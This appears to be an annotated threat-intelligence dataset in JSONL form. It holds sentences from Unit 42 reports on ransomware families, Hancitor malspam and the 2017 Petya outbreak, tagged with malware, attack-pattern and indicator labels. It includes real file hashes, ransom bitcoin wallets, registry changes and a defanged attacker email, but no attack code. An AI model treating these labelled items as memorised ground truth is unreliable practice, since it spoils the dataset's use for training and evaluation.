+{"id":513,"text":"Virlock has the largest number of variants due to its file-infector-like behavior.","entities":[{"id":46145,"label":"attack-pattern","start_offset":54,"end_offset":81},{"id":44760,"label":"malware","start_offset":0,"end_offset":7}],"relations":[{"id":159,"from_id":44760,"to_id":46145,"type":"uses"}],"Comments":[]}
+{"id":514,"text":" Higher malware variant numbers don't necessarily imply a higher prevalence.","entities":[],"relations":[],"Comments":[]}
+{"id":515,"text":"Some ransomware families don’t deliver different variants every time, but the infection ratio per sample is high, meaning attackers delivered the same malware to huge numbers of victims.","entities":[],"relations":[],"Comments":[]}
+{"id":516,"text":"Figure 2 shows a completely different result from Figure 1 and stems from only counting ransomware samples from cases in which more than five hosts were infected with the same malware.","entities":[],"relations":[],"Comments":[]}
+{"id":517,"text":"From this lens, the top three families observed are Ryuk (31.7%), Sodinokibi (20%) and Maze (15%).  Emails are still the most efficient method to deliver and propagate ransomware.","entities":[{"id":46146,"label":"malware","start_offset":52,"end_offset":56},{"id":46147,"label":"malware","start_offset":66,"end_offset":76},{"id":46148,"label":"malware","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
+{"id":518,"text":"Figure 3 shows ransomware arrives via different application protocols.","entities":[],"relations":[],"Comments":[]}
+{"id":519,"text":"The majority of ransomware is delivered by email.","entities":[{"id":44761,"label":"attack-pattern","start_offset":16,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":520,"text":"Web browsing is the second most common entry vector for ransomware infections.","entities":[],"relations":[],"Comments":[]}
+{"id":521,"text":"The process of delivering malware by a URL can include various techniques.","entities":[],"relations":[],"Comments":[]}
+{"id":522,"text":"For example, the URL links can be posted on forums or chat group software, sent by IM applications, offered via fake freeware for download or attached in emails.","entities":[{"id":45793,"label":"attack-pattern","start_offset":112,"end_offset":125},{"id":46149,"label":"attack-pattern","start_offset":142,"end_offset":160}],"relations":[],"Comments":[]}
+{"id":523,"text":"Web hosting ransomware can also be downloaded and successfully installed through a multi-layered infection chain among different file types.","entities":[{"id":46150,"label":"attack-pattern","start_offset":0,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":524,"text":"For example, AlumniLocker is first delivered as a phishing PDF.","entities":[{"id":46151,"label":"malware","start_offset":13,"end_offset":25},{"id":46152,"label":"attack-pattern","start_offset":50,"end_offset":62}],"relations":[],"Comments":[]}
+{"id":525,"text":"It leads to downloading a ZIP archive that contains an LNK downloader.","entities":[{"id":44763,"label":"SOFTWARE","start_offset":26,"end_offset":29},{"id":44764,"label":"attack-pattern","start_offset":55,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":526,"text":"This downloads and executes an obfuscated PowerShell script to finally install the ransomware.","entities":[{"id":46153,"label":"attack-pattern","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
+{"id":527,"text":" Figure 4 breaks down which file types we saw in the course of ransomware detection and their prevalence.","entities":[],"relations":[],"Comments":[]}
+{"id":528,"text":"32-bit EXE is the most common ransomware file type we observed.","entities":[],"relations":[],"Comments":[]}
+{"id":529,"text":"Other file types are often used as the first stage of infection or downloaders, such as archives, documents and scripts.","entities":[],"relations":[],"Comments":[]}
+{"id":530,"text":"Most ransomware is delivered via email with an attached archive; the ransomware is compressed in the archived files with or without password protection.","entities":[],"relations":[],"Comments":[]}
+{"id":531,"text":"“Resume” or “portfolio document” are examples of archive file names, and the archive contains one or more pieces of malware with fake document file icons.","entities":[],"relations":[],"Comments":[]}
+{"id":532,"text":"One example here is Makop, contained in a 7z archive along with an infostealer malware (SHA256: DE6DFA018773E07C218EF1DF62CE0D99A708841BF1DDFB4C6AD7E323D5D666A4).","entities":[{"id":1760,"label":"malware","start_offset":67,"end_offset":78},{"id":1761,"label":"SHA2","start_offset":96,"end_offset":160},{"id":46154,"label":"tools","start_offset":42,"end_offset":44}],"relations":[{"id":156,"from_id":1761,"to_id":1760,"type":"related-to"}],"Comments":[]}
+{"id":533,"text":"A script file is also used to download or install ransomware.","entities":[],"relations":[],"Comments":[]}
+{"id":534,"text":"For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).","entities":[{"id":44765,"label":"malware","start_offset":13,"end_offset":21},{"id":44766,"label":"tools","start_offset":63,"end_offset":117}],"relations":[{"id":20,"from_id":44765,"to_id":44766,"type":"uses"}],"Comments":[]}
+{"id":535,"text":"We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.","entities":[{"id":1765,"label":"malware","start_offset":22,"end_offset":28},{"id":1766,"label":"malware","start_offset":34,"end_offset":43},{"id":46155,"label":"attack-pattern","start_offset":78,"end_offset":113}],"relations":[{"id":162,"from_id":1766,"to_id":1765,"type":"duplicate-of"},{"id":160,"from_id":46155,"to_id":1766,"type":"delivers"},{"id":161,"from_id":46155,"to_id":1765,"type":"delivers"}],"Comments":[]}
+{"id":536,"text":"Exploit documents are seldom seen for delivering ransomware.","entities":[],"relations":[],"Comments":[]}
+{"id":537,"text":"One example is an exploit RTF that led to downloading and installing Makop ransomware remotely.","entities":[{"id":44767,"label":"attack-pattern","start_offset":18,"end_offset":29},{"id":44768,"label":"malware","start_offset":69,"end_offset":85}],"relations":[{"id":21,"from_id":44767,"to_id":44768,"type":"delivers"}],"Comments":[]}
+{"id":538,"text":" Besides encrypting files on infected hosts, the main feature of ransomware is, of course, the demand for ransom.","entities":[],"relations":[],"Comments":[]}
+{"id":539,"text":"Since ransomware threat actors have had years to evolve their techniques, there are now several different ways for attackers to receive payments and provide the \"service\" they claim to offer.","entities":[],"relations":[],"Comments":[]}
+{"id":540,"text":"Usually, after the ransomware successfully installs, it pops up a message box or leaves text files to explain how to pay the ransom – the ransom note.","entities":[],"relations":[],"Comments":[]}
+{"id":541,"text":"Some ransomware locks the victim's screen and only displays the ransom note.","entities":[],"relations":[],"Comments":[]}
+{"id":542,"text":" Unit 42 has reviewed ransom notes from different ransomware families.","entities":[{"id":46156,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
+{"id":543,"text":"Most ransom notes request payment in cryptocurrency or mention reaching out via the darknet, though some other contact methods also appear.  In these cases, the ransom note asks victims to pay a specific amount in cryptocurrency – Bitcoin (BTC), Monero (XMR), etc. — to a specific wallet address.","entities":[{"id":45794,"label":"SOFTWARE","start_offset":246,"end_offset":252},{"id":44769,"label":"SOFTWARE","start_offset":231,"end_offset":238},{"id":44770,"label":"SOFTWARE","start_offset":231,"end_offset":244},{"id":44772,"label":"SOFTWARE","start_offset":246,"end_offset":258}],"relations":[],"Comments":[]}
+{"id":544,"text":"Two ransomware families that utilize these types of ransom notes are Virlock and WanaCrypt0r.","entities":[{"id":46157,"label":"malware","start_offset":69,"end_offset":76},{"id":46158,"label":"malware","start_offset":81,"end_offset":92}],"relations":[],"Comments":[]}
+{"id":545,"text":" Some ransomware families, including Babuk, Sodinokibi, Cerber, Mailto, Ryuk and others, seldom show the ransom amount or cryptocurrency wallet address.","entities":[{"id":46160,"label":"malware","start_offset":44,"end_offset":54},{"id":46159,"label":"malware","start_offset":37,"end_offset":42},{"id":46161,"label":"malware","start_offset":56,"end_offset":62},{"id":46163,"label":"malware","start_offset":72,"end_offset":76},{"id":46162,"label":"malware","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
+{"id":546,"text":"Instead, they instruct victims to install TOR and reach out to them on the darknet.","entities":[{"id":44773,"label":"tools","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":547,"text":"Usually, they host a website for victims to input the identification key found in the ransom note, upload encrypted files for decryption – and pay the ransom.","entities":[],"relations":[],"Comments":[]}
+{"id":548,"text":" Ransom notes from Makop, Dharma, Ryuk, DearCry and others, sometimes ask victims to reach out to them via email.","entities":[{"id":46164,"label":"malware","start_offset":19,"end_offset":24},{"id":46166,"label":"malware","start_offset":34,"end_offset":38},{"id":46167,"label":"malware","start_offset":40,"end_offset":47},{"id":46165,"label":"malware","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":549,"text":"The email addresses given are usually from untraceable email accounts.","entities":[],"relations":[],"Comments":[]}
+{"id":550,"text":"At other times, a threat actor lets the victim chat with them directly on group chat software.","entities":[],"relations":[],"Comments":[]}
+{"id":551,"text":"The victims can find the threat actor’s user name through specific group chat software or follow a chat group link in the ransom note.  Ransom payment operations are complicated and highly automated processes.","entities":[],"relations":[],"Comments":[]}
+{"id":552,"text":"Attackers can create a lot of cryptocurrency wallets automatically; they can even make a unique wallet address for each victim.","entities":[],"relations":[],"Comments":[]}
+{"id":553,"text":"Once a ransom is received, the ransom will be involved in the multiple transactions that are managed to distribute and aggregate the ransom across thousands of virtual wallets.","entities":[],"relations":[],"Comments":[]}
+{"id":554,"text":"For example, the Xorist ransomware (SHA256: 4979A10B81C41ECC0FC3A0F376ADE766CE616D2301639F74E0277047CC40E3D6) demanded £1,000 for a ransom; the bitcoin wallet address was 1BFqrLCDwwrxueY7FFDn8DqeoasPJignxt.","entities":[{"id":1837,"label":"SHA2","start_offset":44,"end_offset":108},{"id":46168,"label":"malware","start_offset":17,"end_offset":34},{"id":46169,"label":"SOFTWARE","start_offset":144,"end_offset":151}],"relations":[{"id":157,"from_id":1837,"to_id":46168,"type":"indicates"}],"Comments":[]}
+{"id":555,"text":"However, this wallet had not really received any ransom payments when the malware was delivered.","entities":[],"relations":[],"Comments":[]}
+{"id":556,"text":"The wallet got involved in the operation of mixing and tumbling among several other virtual wallets.","entities":[],"relations":[],"Comments":[]}
+{"id":557,"text":"This is a pretty common operation when attackers want to withdraw or disperse currency from ransom payments into other wallets.","entities":[],"relations":[],"Comments":[]}
+{"id":558,"text":"During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.","entities":[{"id":1845,"label":"SHA2","start_offset":104,"end_offset":168},{"id":44776,"label":"identity","start_offset":198,"end_offset":229}],"relations":[{"id":164,"from_id":44776,"to_id":1845,"type":"owns"}],"Comments":[]}
+{"id":559,"text":"(ref: Binance on Twitter ).","entities":[{"id":46171,"label":"SOFTWARE","start_offset":6,"end_offset":13},{"id":46172,"label":"SOFTWARE","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":560,"text":"The 25.1 BTC amount was worth $1.18 million at that time, and now is about $876,000.","entities":[],"relations":[],"Comments":[]}
+{"id":561,"text":" Since Virlock only requests a $250 ransom, it does not draw too much public attention.","entities":[{"id":45795,"label":"malware","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]}
+{"id":562,"text":"Other ransomware families, however, target enterprises and ask for multimillion dollar ransoms, which garners much more media attention.","entities":[],"relations":[],"Comments":[]}
+{"id":563,"text":"Based on the way Virlock spreads the ransom amount it demands, it is likely designed to target consumers or home users.","entities":[{"id":46173,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":564,"text":"After infection, Virlock hides the file extension through modification of the registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt = 1, HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden = 2).","entities":[{"id":1874,"label":"REGISTRYKEY","start_offset":88,"end_offset":164},{"id":1876,"label":"REGISTRYKEY","start_offset":170,"end_offset":241},{"id":44778,"label":"malware","start_offset":17,"end_offset":24}],"relations":[{"id":165,"from_id":1874,"to_id":44778,"type":"indicates"},{"id":166,"from_id":1876,"to_id":44778,"type":"indicates"}],"Comments":[]}
+{"id":565,"text":"The encrypted file icon will look the same as usual, but after opening the infected file, the ransom note will pop up.","entities":[],"relations":[],"Comments":[]}
+{"id":566,"text":"Virlock uses, but isn’t limited to, PDF, DOC, PPT, JPG, BMP,GIF, RAR, 7Zip, Zip and EXE files.","entities":[{"id":46174,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
+{"id":567,"text":"Figure 6 is a screenshot of a recently captured Virlock ransom note.","entities":[{"id":44781,"label":"malware","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
+{"id":568,"text":"The attacker asked for $250 and required payment as 0.004 BTC (suggesting that at the time the ransom note was written, 1 BTC equaled approximately $62,500).","entities":[],"relations":[],"Comments":[]}
+{"id":569,"text":"At the time of infection experiments, 1 BTC equaled approximately $54,649, suggesting that the exchange rate in the ransom note is not updated on the fly.","entities":[],"relations":[],"Comments":[]}
+{"id":570,"text":"Some Virlock variants ask for more ransom, such as 0.771 BTC, 1.008 BTC or more.","entities":[{"id":44782,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
+{"id":571,"text":" The top three samples we observed spreading in early 2021 were Ryuk, Maze, and Sodinokibi.","entities":[{"id":1907,"label":"malware","start_offset":64,"end_offset":68},{"id":1910,"label":"malware","start_offset":80,"end_offset":90},{"id":46175,"label":"malware","start_offset":70,"end_offset":74},{"id":46176,"label":"TIME","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
+{"id":572,"text":"These three contribute 7.2% out of the total infected numbers we collected.","entities":[],"relations":[],"Comments":[]}
+{"id":573,"text":" Ryuk will change the infected file extension to .RYK, and leave a ransom note called RyukReadMe.html.","entities":[{"id":44783,"label":"malware","start_offset":1,"end_offset":5},{"id":44784,"label":"FILEPATH","start_offset":86,"end_offset":101}],"relations":[{"id":22,"from_id":44784,"to_id":44783,"type":"indicates"}],"Comments":[]}
+{"id":574,"text":"One of the reasons Ryuk causes so much damage is because it will scan the local network and try to infect other machines through Server Message Block (SMB) protocols.","entities":[{"id":1919,"label":"malware","start_offset":19,"end_offset":23},{"id":46177,"label":"SOFTWARE","start_offset":129,"end_offset":155}],"relations":[],"Comments":[]}
+{"id":575,"text":"Ryuk will even send out Wake-on-LAN packets to wake up systems that have been configured with this feature.","entities":[{"id":1923,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
+{"id":576,"text":"In this research, we discussed ransomware family trends we observed in the first three months of 2021.","entities":[{"id":44785,"label":"TIME","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]}
+{"id":577,"text":"First, we reviewed the trends from prevalent ransomware families, then we discussed the most common file types used as attack vectors leveraged by ransomware.","entities":[],"relations":[],"Comments":[]}
+{"id":578,"text":"Lastly, we gave an example of ransom operations and updates about top ransomware families.","entities":[],"relations":[],"Comments":[]}
+{"id":579,"text":" Ransomware threats are a serious challenge.","entities":[],"relations":[],"Comments":[]}
+{"id":580,"text":"Employing effective backup strategies and disaster recovery procedures is important.","entities":[],"relations":[],"Comments":[]}
+{"id":581,"text":"Palo Alto Networks customers are further protected from ransomware.","entities":[{"id":46178,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
+{"id":582,"text":"Cortex XSOAR can automatically and instantly coordinate with network security, malware analysis and threat management solutions to ensure customers remain protected.","entities":[{"id":44786,"label":"SOFTWARE","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
+{"id":583,"text":"Cortex XDR endpoint protection stops malware, exploits and ransomware before they can compromise endpoints.","entities":[{"id":46179,"label":"SOFTWARE","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
+{"id":584,"text":"With AI-powered Inline analysis, the Next-Generation Firewall stops exploits that lead to infection, and WildFire’s always up-to-date machine learning models monitor behavior to preemptively detect unknown ransomware.","entities":[{"id":46180,"label":"identity","start_offset":105,"end_offset":113}],"relations":[],"Comments":[]}
+{"id":585,"text":" If you think you may have been impacted by ransomware, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.","entities":[{"id":1952,"label":"EMAIL","start_offset":69,"end_offset":111},{"id":1954,"label":"identity","start_offset":160,"end_offset":167},{"id":44787,"label":"identity","start_offset":128,"end_offset":134},{"id":44788,"label":"identity","start_offset":160,"end_offset":190}],"relations":[],"Comments":[]}
+{"id":586,"text":" Highlights from the 2021 Unit 42 Ransomware Threat Report  Ransomware Threat Assessments: A Companion to the 2021 Unit 42 Ransomware Threat Report  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":1956,"label":"identity","start_offset":26,"end_offset":33},{"id":1958,"label":"identity","start_offset":115,"end_offset":122}],"relations":[],"Comments":[]}
+{"id":587,"text":"Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
+{"id":588,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":589,"text":"If you need to understand one thing about cybercrime, it’s that it is all about business.","entities":[],"relations":[],"Comments":[]}
+{"id":590,"text":" In our latest Unit 42 research on cybercriminals using the Hancitor malware, we show that not only are their attacks about business, we can see these cybercriminals deftly applying some fundamental business principles around timing, specialization, and globalization.","entities":[{"id":46181,"label":"identity","start_offset":15,"end_offset":22},{"id":46182,"label":"malware","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
+{"id":591,"text":" Hancitor is a malware that focuses getting other malware onto the victim’s system.","entities":[{"id":44790,"label":"malware","start_offset":1,"end_offset":9}],"relations":[],"Comments":[]}
+{"id":592,"text":"In the case of Hancitor, it’s typically banking Trojans that steal the victim’s banking information.","entities":[{"id":46183,"label":"malware","start_offset":15,"end_offset":23},{"id":46184,"label":"attack-pattern","start_offset":61,"end_offset":99}],"relations":[],"Comments":[]}
+{"id":593,"text":" In our latest research, we can see the attackers behind Hancitor have been timing their attacks to happen during the busiest time of the global working week, the middle of the week.","entities":[{"id":46185,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":594,"text":"And we’ve seen that in adapting their attacks to better evade detection, they’ve specialized their operations around the globe.","entities":[],"relations":[],"Comments":[]}
+{"id":595,"text":" Hancitor isn’t particularly advanced in its tactics: it’s ideal target is an old or outdated version of Microsoft Windows like Windows 7 or even Windows XP.","entities":[{"id":46187,"label":"malware","start_offset":1,"end_offset":9},{"id":46188,"label":"SOFTWARE","start_offset":105,"end_offset":122},{"id":46189,"label":"SOFTWARE","start_offset":128,"end_offset":137},{"id":46190,"label":"SOFTWARE","start_offset":146,"end_offset":157}],"relations":[],"Comments":[]}
+{"id":596,"text":"But it’s effective enough that when used in several hundred different spam campaigns every month it pays for the criminals to keep up these attacks against targets around the world.","entities":[],"relations":[],"Comments":[]}
+{"id":597,"text":" Timing   In our most recent research, one of the things that jumped out for our researchers is the clear pattern around the timing of the attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":598,"text":"As you can see in Figure 1 below, throughout 2017, the Hancitor attacks show clear spikes in their occurrence and these spikes happen during the middle of the week.","entities":[{"id":46192,"label":"TIME","start_offset":45,"end_offset":49},{"id":46191,"label":"SOFTWARE","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
+{"id":599,"text":" Figure 1: Timeline of Hancitor campaign activity since January 2017.","entities":[{"id":46193,"label":"malware","start_offset":23,"end_offset":31},{"id":46194,"label":"TIME","start_offset":56,"end_offset":68}],"relations":[],"Comments":[]}
+{"id":600,"text":" The attackers behind Hancitor aren’t the first to time their spam attacks like this, but it is an effective tactic to try and increase their chances of success, especially when combined with the other innovation that we’ve seen.","entities":[{"id":44791,"label":"malware","start_offset":22,"end_offset":30},{"id":44792,"label":"attack-pattern","start_offset":62,"end_offset":74}],"relations":[{"id":23,"from_id":44791,"to_id":44792,"type":"uses"}],"Comments":[]}
+{"id":601,"text":"Adapting the Attacks  ","entities":[],"relations":[],"Comments":[]}
+{"id":602,"text":"In the past, Hancitor was sent as a malicious attachment in a spam email which would then download and install the attackers’ final malware like a banking Trojan.","entities":[{"id":46195,"label":"malware","start_offset":13,"end_offset":21},{"id":46196,"label":"attack-pattern","start_offset":36,"end_offset":72}],"relations":[{"id":167,"from_id":46195,"to_id":46196,"type":"uses"}],"Comments":[]}
+{"id":603,"text":"When they would do this, the Hancitor attachment would download and install the final malware from a malicious or compromised site.","entities":[{"id":44793,"label":"malware","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
+{"id":604,"text":" But as organizations have gotten more effective at blocking malicious attachments like Hancitor, we’ve seen the attackers behind Hancitor adapt to evade detection and prevention.","entities":[{"id":46198,"label":"malware","start_offset":130,"end_offset":138},{"id":46200,"label":"malware","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":605,"text":" They’ve done this by moving the Hancitor malware from being a malicious attachment in spam to itself being a malicious download.","entities":[{"id":46201,"label":"malware","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
+{"id":606,"text":"The spam the attackers use no long has a malicious attachment but instead a malicious link that downloads the malicious Hancitor attachment.","entities":[{"id":44794,"label":"malware","start_offset":120,"end_offset":128},{"id":44795,"label":"attack-pattern","start_offset":76,"end_offset":91},{"id":44796,"label":"attack-pattern","start_offset":41,"end_offset":61}],"relations":[{"id":24,"from_id":44796,"to_id":44794,"type":"delivers"},{"id":25,"from_id":44795,"to_id":44794,"type":"delivers"}],"Comments":[]}
+{"id":607,"text":" To do this, they make the spam look like something that requires you to click and download something like and invoice, a message, or a delivery notification.","entities":[],"relations":[],"Comments":[]}
+{"id":608,"text":"Figure 2 shows one of these that was made to look like an Amazon shipping notice.","entities":[{"id":46202,"label":"identity","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":609,"text":"Figure 2: Hancitor malspam example from February 2017.","entities":[{"id":44797,"label":"malware","start_offset":10,"end_offset":18},{"id":44798,"label":"TIME","start_offset":40,"end_offset":53}],"relations":[],"Comments":[]}
+{"id":610,"text":" This means that a Hancitor attack now has two downloads rather than one and what these attackers did around the malicious downloads shows another modern business tactic: globalization.","entities":[{"id":46203,"label":"malware","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
+{"id":611,"text":" Globalizing the Attacks  Figure 3 below is a map showing where our Unit 42 researchers have found webistes involved in Hancitor attacks.","entities":[{"id":46204,"label":"malware","start_offset":120,"end_offset":128},{"id":46205,"label":"identity","start_offset":68,"end_offset":87}],"relations":[],"Comments":[]}
+{"id":612,"text":" Figure 3: Hancitor distribution servers globally thus far in 2017  Table 1 – Number of Distribution Servers by Country  ","entities":[{"id":44799,"label":"malware","start_offset":11,"end_offset":19},{"id":44800,"label":"TIME","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
+{"id":613,"text":"The hot spots in the United States represents distribution servers which are created using fraud based accounts at various hosting providers that are hosting the Hancitor documents while the hotspots in Asia represent legitimate sites for small and medium businesses that have been compromised by the actors behind Hancitor campaign to host the malicious Hancitor documents.","entities":[{"id":46207,"label":"malware","start_offset":162,"end_offset":170},{"id":46208,"label":"location","start_offset":203,"end_offset":207},{"id":46206,"label":"location","start_offset":21,"end_offset":34},{"id":46210,"label":"campaign","start_offset":315,"end_offset":332},{"id":46211,"label":"malware","start_offset":355,"end_offset":363}],"relations":[{"id":168,"from_id":46207,"to_id":46206,"type":"targets"},{"id":169,"from_id":46207,"to_id":46208,"type":"targets"}],"Comments":[]}
+{"id":614,"text":" Conclusion  Attackers are always making business decisions to optimize their attacks in ways that are most successful and profitable.","entities":[],"relations":[],"Comments":[]}
+{"id":615,"text":"What is most interesting about Hancitor is the way these decisions so clearly reflect an awareness of business realities (by targeting peak working times) and dividing up the “work” of their attacks in a way that so clearly mirrors mainstream business decisions around globalizing operations.","entities":[{"id":45796,"label":"malware","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]}
+{"id":616,"text":" In the end, while Hancitor may not be sophisticated, these steps to adapt and stay effective seem to be succeeding.","entities":[{"id":46212,"label":"malware","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
+{"id":617,"text":"And we expect to continue to see Hancitor be a global threat for the foreseeable future.","entities":[{"id":46213,"label":"malware","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
+{"id":618,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":619,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":620,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":621,"text":"This post is also available in:      日本語 (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.","entities":[{"id":2073,"label":"identity","start_offset":58,"end_offset":65},{"id":2074,"label":"malware","start_offset":144,"end_offset":149},{"id":44803,"label":"malware","start_offset":144,"end_offset":160},{"id":44804,"label":"location","start_offset":198,"end_offset":205},{"id":44805,"label":"location","start_offset":207,"end_offset":213}],"relations":[{"id":27,"from_id":44803,"to_id":44805,"type":"targets"},{"id":26,"from_id":44803,"to_id":44804,"type":"targets"}],"Comments":[]}
+{"id":622,"text":" On June 27th, 2017 we became aware of a new variant of the Petya malware which is spreading through multiple lateral movement techniques.","entities":[{"id":2081,"label":"malware","start_offset":60,"end_offset":65},{"id":46214,"label":"TIME","start_offset":4,"end_offset":19}],"relations":[],"Comments":[]}
+{"id":623,"text":"One technique includes  the ETERNALBLUE exploit tool.","entities":[{"id":2083,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
+{"id":624,"text":"This is the same exploit the WanaCrypt0r\/WannaCry malware exploited to spread globally in May, 2017.","entities":[{"id":2086,"label":"malware","start_offset":29,"end_offset":40},{"id":2087,"label":"malware","start_offset":41,"end_offset":49},{"id":44808,"label":"TIME","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
+{"id":625,"text":"At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators.","entities":[],"relations":[],"Comments":[]}
+{"id":627,"text":" Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post.","entities":[{"id":44809,"label":"identity","start_offset":1,"end_offset":19},{"id":44810,"label":"identity","start_offset":97,"end_offset":115},{"id":44811,"label":"malware","start_offset":132,"end_offset":148}],"relations":[],"Comments":[]}
+{"id":628,"text":"Windows users should take the following general steps to protect themselves:","entities":[{"id":46217,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
+{"id":629,"text":" This is a developing situation, we will update this blog as new information becomes available.","entities":[],"relations":[],"Comments":[]}
+{"id":630,"text":"AutoFocus users view samples using the Petya tag.","entities":[{"id":2102,"label":"malware","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
+{"id":631,"text":" Petya is a ransomware family that works by modifying the Window’s system’s Master Boot Record (MBR), causing the system to crash.","entities":[{"id":2103,"label":"malware","start_offset":1,"end_offset":6},{"id":46218,"label":"SOFTWARE","start_offset":58,"end_offset":100}],"relations":[],"Comments":[]}
+{"id":632,"text":"When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake “chkdisk” screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.","entities":[{"id":46220,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":46219,"label":"SOFTWARE","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":633,"text":" When this process completes, the malware displays an ASCII Ransom note demanding payment from the victim (Figure 1).  Figure 1: Latest Petya Ransom note displayed on a compromised system.","entities":[{"id":2109,"label":"malware","start_offset":136,"end_offset":141}],"relations":[],"Comments":[]}
+{"id":634,"text":" The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.","entities":[{"id":2111,"label":"malware","start_offset":27,"end_offset":32},{"id":2113,"label":"malware","start_offset":102,"end_offset":113},{"id":2116,"label":"threat-actor","start_offset":188,"end_offset":206},{"id":46221,"label":"SOFTWARE","start_offset":62,"end_offset":73},{"id":46222,"label":"vulnerability","start_offset":143,"end_offset":156},{"id":46223,"label":"TIME","start_offset":216,"end_offset":226}],"relations":[{"id":171,"from_id":2111,"to_id":46222,"type":"exploits"},{"id":170,"from_id":2111,"to_id":46221,"type":"targets"},{"id":172,"from_id":2116,"to_id":2113,"type":"authored-by"},{"id":173,"from_id":46222,"to_id":46221,"type":"targets"}],"Comments":[]}
+{"id":635,"text":" After the system is compromised the victim is asked to send US $300 in Bitcoin to a specific Bitcoin address and then send an e-mail with the victim’s bitcoin wallet ID to wowsmith123456@posteo[.]net to retrieve their individual decryption key.","entities":[{"id":46226,"label":"SOFTWARE","start_offset":94,"end_offset":101},{"id":46224,"label":"EMAIL","start_offset":173,"end_offset":200},{"id":46225,"label":"SOFTWARE","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
+{"id":636,"text":" Posteo (a free e-mail provider) has already shut down this e-mail address, and as such victims should not even attempt to pay the ransom.","entities":[{"id":44816,"label":"SOFTWARE","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
+{"id":637,"text":"As of 13:00 UTC on June 28thth, approximately 4 Bitcoin have been transferred to the attacker's wallet.","entities":[{"id":46227,"label":"TIME","start_offset":6,"end_offset":28}],"relations":[],"Comments":[]}
+{"id":638,"text":" Unit 42 is unaware of ANY successful recovery after paying the ransom.","entities":[{"id":2124,"label":"identity","start_offset":1,"end_offset":8},{"id":2125,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
+{"id":639,"text":"Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.","entities":[],"relations":[],"Comments":[]}
+{"id":640,"text":" This means that even though this malware is functionally ransomware, for threat assessment purposes, it should be functionally considered a “wiper”.","entities":[],"relations":[],"Comments":[]}
+{"id":641,"text":" We are aware of the following information about how the Petya attack lifecycle works.","entities":[{"id":46228,"label":"malware","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]}
